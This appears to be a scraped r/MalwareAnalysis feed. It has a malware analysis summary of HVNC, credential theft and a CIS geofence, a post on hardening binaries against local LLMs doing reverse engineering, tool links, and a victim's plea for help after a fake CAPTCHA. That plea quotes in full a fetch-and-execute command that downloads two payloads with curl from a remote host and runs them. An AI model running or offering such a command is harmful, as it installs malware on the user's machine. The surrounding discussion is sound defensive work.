* Strings point to HVNC, remote desktop, keylogging, DPAPI credential theft and ETW/AMSI tampering. HVNC lets the operator act inside the victim’s already-authenticated browser sessions, which defeats a lot of anti-fraud checks.

* Even though there isn't a geolocalization about the development of this malware, there’s a CIS geofence (Russia, Belarus, Kazakhstan, Uzbekistan, checked via GeoID, locale, time zone and keyboard layout) that makes the bot quit silently before contacting the C2. This can be an hint that the first development was made in Russia. It was disabled in this build.

Full analysis can be found here: https://inkman97.github.io/darkcore-analysis/


r/MalwareAnalysis • • 7d ago

Part 2: The FBI seized their network. Three weeks earlier, their proxyware had already moved into a new app.

Thumbnail reddit.com
1 Upvotes

r/MalwareAnalysis • • 7d ago

I measured how easily a local 7B model reverse-engineers a binary, then built hardening that targets the LLM layer specifically

Post image
3 Upvotes

Repo: https://github.com/seifheakal/blue-harness (AGPL-3.0)

Most anti-reverse-engineering assumes a human in a disassembler. The threat I care about now is a local, unrestricted model driving those tools. So besides the classic stuff, the harness includes defenses aimed at the model: inflating the analysis surface so it burns context, decoy identifiers that mislead semantic guesses, and honeytokens that detect when a crack was AI-generated.

My own before/after is honest but small: one run, a 4-bit 7B on an 8 GB GPU. The unprotected build was cracked in 3 steps and about 1,300 tokens. The hardened one burned roughly 13x the tokens and still wasn't cracked. I'd really like people with bigger rigs to run it. It's one command: make slice-k-run MODEL=<your-model>, and it prints a scored before/after. or online modals

and star it of course if u find it useful

Most of the code was written with Claude agents under my direction. Happy to talk through any design choice.


r/MalwareAnalysis • • 9d ago

Part 1: The file manager that was quietly renting out your internet connection

Thumbnail reddit.com
1 Upvotes

r/MalwareAnalysis • • 9d ago

Android TV & Google TV Forensic Suite (BadBox, XCPE, Vo1d & Malware Remediation)

Thumbnail reddit.com
2 Upvotes

r/MalwareAnalysis • • 9d ago

Exposing a proxyware ecosystem thag survived a FBI Seizure

Thumbnail reddit.com
1 Upvotes

r/MalwareAnalysis • • 10d ago

PHP Deobfuscator: read obfuscated PHP malware

Thumbnail pyxsoft.com
3 Upvotes

Hello everyone, I’d like to share with you a free tool we’ve created for deobfuscating PHP malware. Whilst it isn’t perfect, it’s quite helpful for analysis

I hope you like it.


r/MalwareAnalysis • • 11d ago

I fell into the cloudfare scam

7 Upvotes

I was surfing in Hdhub4u then i accidentally click on the cloud fare captcha and pasted something in cmd and ran it unknowingly (Bloody mistake) .and then it created two files in temporary folder frunkle and some powershell file z848 this was the command

(set "__VSCMD_WIN_64BIT=true"&& cd %tmp%& curl.exe -sLo %tmp%\frunkle.txt 1441424606/545&& curl.exe -sLo %tmp%\Z848.ps1 1441424606/546&& for /f "delims=" %i in (frunkle.txt) do %i)

i pasted this on cmd center
Can anyone please help my i runned every scan and all defender offline scans also what should i do please provide solutions its will be a big help please